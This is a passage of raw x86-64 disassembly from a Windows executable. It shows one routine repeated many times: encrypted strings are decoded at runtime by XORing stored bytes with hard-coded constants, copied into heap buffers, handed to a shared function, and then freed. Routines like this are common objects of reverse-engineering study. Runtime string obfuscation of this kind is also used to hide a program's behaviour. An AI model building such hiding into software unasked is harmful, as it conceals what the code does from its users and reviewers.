mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008f11
mov ebp, dword [rax]
mov bl, byte [rax + 4]
xor bl, 0x1e
xor rbp, 0x297da066
mov ecx, 5
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
mov byte [rdx + 4], bl
mov dword [rdx], ebp
lea rax, [0x140368483]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xeb25f980d3c4c1f
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140009b34
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f6d7]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140124bc3
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 5
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140124c64
cmp qword [rsp + 0x280], 0
je 0x140124c64
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x14036f146]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xa0aa7f8614255597
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008e3e
mov ebx, dword [rax]
movzx ebp, word [rax + 4]
xor ebp, 0x91e8
xor rbx, 0x2a86d4e5
mov ecx, 6
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
mov word [rdx + 4], bp
mov dword [rdx], ebx
lea rax, [0x14036e553]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x81fd43869f1dcb6d
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.1400096b9
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f6f7]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140124cff
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 6
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140124da0
cmp qword [rsp + 0x280], 0
je 0x140124da0
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x1403617c2]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xb350f151fccbaf6a
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.1400083ac
movabs rbx, 0x5330e15beb2874e1
xor rbx, qword [rax]
mov ecx, 8
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
mov qword [rdx], rbx
lea rax, [0x1403673be]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x249bd56275ffbba0
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.1400089f7
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f717]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140124e32
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 8
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140124ed3
cmp qword [rsp + 0x280], 0
je 0x140124ed3
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140361532]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xa2d00b5b64fa2c0
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000a2a1
mov ebp, dword [rax]
movzx ecx, byte [rax + 6]
movzx ebx, word [rax + 4]
xor ebx, 0xe62a
xor cl, 0x84
movzx esi, cl
mov rax, rsi
shl rax, 0x30
shl rbx, 0x20
or rbx, rax
xor rbp, 0x56bb2f0
mov ecx, 7
call fcn.140047b2b
mov r14, rax
mov rdi, rdx
mov byte [rdx + 6], sil
mov dword [rdx], ebp
shr rbx, 0x20
mov word [rdx + 4], bx
lea rax, [0x140363765]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x41aaca5972830004
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140009f0d
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f737]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140124f8e
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], r14
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 7
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x14012502f
cmp qword [rsp + 0x280], 0
je 0x14012502f
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140364be9]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xe5b94a3cc71e1b79
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140009d38
movabs rbx, 0x27803a5700b00c2d
xor rbx, qword [rax]
mov ebp, 0x39938c72
xor ebp, dword [rax + 8]
movzx esi, word [rax + 0xc]
xor esi, 0xe7fc
mov ecx, 0xe
call fcn.140047b2b
mov r14, rax
mov rdi, rdx
mov qword [rdx], rbx
mov dword [rdx + 8], ebp
mov word [rdx + 0xc], si
lea rax, [0x14036d921]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x72e8462d60b5ac87
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.1400083d2
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f757]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x1401250da
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], r14
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 0xe
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x14012517b
cmp qword [rsp + 0x280], 0
je 0x14012517b
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140370497]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x7993c32ca7c3a43b
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.1400098fd
movabs rbx, 0xf337f1da0aa48f3b
xor rbx, qword [rax]
mov ebp, 0xac9a5cdc
xor ebp, dword [rax + 8]
movzx esi, word [rax + 0xc]
xor esi, 0x44dc
mov ecx, 0xe
call fcn.140047b2b
mov r14, rax
mov rdi, rdx
mov qword [rdx], rbx
mov dword [rdx + 8], ebp
mov word [rdx + 0xc], si
lea rax, [0x14036ba01]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x5845fbce3315eb1d
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.1400098b4
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f777]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140125226
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], r14
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 0xe
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x1401252c7
cmp qword [rsp + 0x280], 0
je 0x1401252c7
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140368fee]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x7f8ac0a4410fe490
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140009e71
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x340], xmm0
mov r9b, 1
xor edi, edi
lea r10, [0x14036f797]
movzx r8d, byte [rdi + r10]
mov rcx, rdi
or rcx, 1
movzx ebx, byte [rcx + r10]
mov rcx, rdi
or rcx, 2
movzx r11d, byte [rcx + r10]
mov rcx, rdi
or rcx, 3
movzx r14d, byte [rcx + r10]
mov rcx, rdi
or rcx, 4
movzx ecx, byte [rcx + r10]
mov rsi, rdi
or rsi, 5
movzx ebp, byte [rsi + r10]
mov rsi, rdi
or rsi, 6
mov rdx, rdi
or rdx, 7
movzx esi, byte [rsi + r10]
movzx edx, byte [rdx + r10]
shl rdx, 0x38
shl rsi, 0x30
or rsi, rdx
shl rbp, 0x28
shl rcx, 0x20
shl r14, 0x18
shl r11, 0x10
shl rbx, 8
or rbx, r8
or rbx, r11
or rbx, r14
or rbx, rcx
or rbx, rbp
or rbx, rsi
xor rbx, qword [rax + rdi]
mov qword [rsp + rdi + 0x340], rbx
mov edi, 8
test r9b, 1
mov r9d, 0
jne 0x14012530a
mov al, byte [rax + 0x10]
xor al, 0xca
mov byte [rsp + 0x350], al
mov ecx, 0x11
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
movdqa xmm0, xmmword [rsp + 0x340]
movdqu xmmword [rdx], xmm0
mov al, byte [rsp + 0x350]
mov byte [rdx + 0x10], al
lea rax, [0x14036b1ad]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x85a0dd19680d974d
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000a53d
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f7a8]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140125430
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 0x11
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x1401254d1
cmp qword [rsp + 0x280], 0
je 0x1401254d1
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140364c42]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xe1958e52ff2281b
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000a599
mov ecx, dword [rax]
movzx ebx, word [rax + 4]
xor ebx, 0x70fa
mov ebp, 0xf857a189
xor rbp, rcx
mov ecx, 6
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
mov word [rdx + 4], bx
mov dword [rdx], ebp
lea rax, [0x14036eb07]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x8d1968c22f04fb37
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008730
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f7c8]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x14012556d
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 6
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x14012560e
cmp qword [rsp + 0x280], 0
je 0x14012560e
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140369d72]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x475f4b385ea2d7a9
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140009652
movabs rbx, 0x28a309069cbda5c4
xor rbx, qword [rax]
movzx ebp, byte [rax + 0xa]
movzx esi, word [rax + 8]
xor esi, 0x5527
xor bpl, 0xfe
mov ecx, 0xb
call fcn.140047b2b
mov r14, rax
mov rdi, rdx
mov qword [rdx], rbx
mov word [rdx + 8], si
mov byte [rdx + 0xa], bpl
lea rax, [0x14036aa83]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x134460442cf70084
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008c15
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f7e8]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x1401256ba
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], r14
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 0xb
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x14012575b
cmp qword [rsp + 0x280], 0
je 0x14012575b
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140369ed1]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xea9fa1f1fbb9c589
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008361
movabs rbx, 0xfe34b0e62e4a92e
xor rbx, qword [rax]
mov ebp, 0xb6d5b1af
xor ebp, dword [rax + 8]
mov ecx, 0xc
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
mov qword [rdx], rbx
mov dword [rdx + 8], ebp
lea rax, [0x140370613]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x789311f681aa3843
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000886c
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f808]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x1401257f8
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 0xc
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140125899
cmp qword [rsp + 0x280], 0
je 0x140125899
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140369cda]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xdc78e69f1db400dd
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000a87e
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x340], xmm0
mov r9b, 1
xor edi, edi
lea r10, [0x14036f828]
movzx r8d, byte [rdi + r10]
mov rcx, rdi
or rcx, 1
movzx ebx, byte [rcx + r10]
mov rcx, rdi
or rcx, 2
movzx r11d, byte [rcx + r10]
mov rcx, rdi
or rcx, 3
movzx r14d, byte [rcx + r10]
mov rcx, rdi
or rcx, 4
movzx ecx, byte [rcx + r10]
mov rsi, rdi
or rsi, 5
movzx ebp, byte [rsi + r10]
mov rsi, rdi
or rsi, 6
mov rdx, rdi
or rdx, 7
movzx esi, byte [rsi + r10]
movzx edx, byte [rdx + r10]
shl rdx, 0x38
shl rsi, 0x30
or rsi, rdx
shl rbp, 0x28
shl rcx, 0x20
shl r14, 0x18
shl r11, 0x10
shl rbx, 8
or rbx, r8
or rbx, r11
or rbx, r14
or rbx, rcx
or rbx, rbp
or rbx, rsi
xor rbx, qword [rax + rdi]
mov qword [rsp + rdi + 0x340], rbx
mov edi, 8
test r9b, 1
mov r9d, 0
jne 0x1401258dc
mov ecx, 0x10
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
movdqa xmm0, xmmword [rsp + 0x340]
movdqu xmmword [rdx], xmm0
lea rax, [0x1403623bc]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xfb1975fc4b12ea71
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000a807
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f838]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x1401259ec
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 0x10
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140125a8d
cmp qword [rsp + 0x280], 0
je 0x140125a8d
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x14036a841]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xc42a8976b37f5d88
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140009f41
movabs rbx, 0xb5f443d58fcf4a9
xor rbx, qword [rax]
mov ebp, 0x98ca2ff1
xor ebp, dword [rax + 8]
mov ecx, 0xc
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
mov qword [rdx], rbx
mov dword [rdx + 8], ebp
lea rax, [0x140361b51]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x3c12dac3a8639653
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.1400099b8
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f858]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140125b2a
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 0xc
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140125bcb
cmp qword [rsp + 0x280], 0
je 0x140125bcb
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x14036b6e1]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x8dac1f93391e7f73
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140009891
movabs rbx, 0xa2e5e192d10fa9c9
xor rbx, qword [rax]
mov ebp, 0xc42271d9
xor ebp, dword [rax + 8]
movzx esi, byte [rax + 0xe]
movzx edi, word [rax + 0xc]
xor edi, 0x8e75
xor sil, 0x3b
mov ecx, 0xf
call fcn.140047b2b
mov r14, rax
mov r8, r15
mov r15, rdx
mov qword [rdx], rbx
mov dword [rdx + 8], ebp
mov word [rdx + 0xc], di
mov byte [rdx + 0xe], sil
lea rax, [0x140370809]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x7cc40ab1072c7857
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008d90
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f878]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140125c85
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], r14
mov qword [r8 + 8], r15
mov qword [r8 + 0x10], 0xf
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140125d26
cmp qword [rsp + 0x280], 0
je 0x140125d26
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140367903]
mov qword [rsp + 0x30], rax
lea r15, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rax, 0x295e056bfd3e4e22
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140009b84
movabs rbx, 0x4284da97a37441d0
xor rbx, qword [rax]
mov ebp, 0xe31c99fc
xor ebp, dword [rax + 8]
mov ecx, 0xc
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
mov qword [rdx], rbx
mov dword [rdx + 8], ebp
lea rax, [0x140363cad]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xb8758068196eab45
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000a413
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f898]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140125dc8
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 0xc
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140125e69
cmp qword [rsp + 0x280], 0
je 0x140125e69
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140368d37]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xdcd63773464a33bb
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000a4f2
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x340], xmm0
mov r9b, 1
xor edi, edi
lea r10, [0x14036f8b8]
movzx r8d, byte [rdi + r10]
mov rcx, rdi
or rcx, 1
movzx ebx, byte [rcx + r10]
mov rcx, rdi
or rcx, 2
movzx r11d, byte [rcx + r10]
mov rcx, rdi
or rcx, 3
movzx r14d, byte [rcx + r10]
mov rcx, rdi
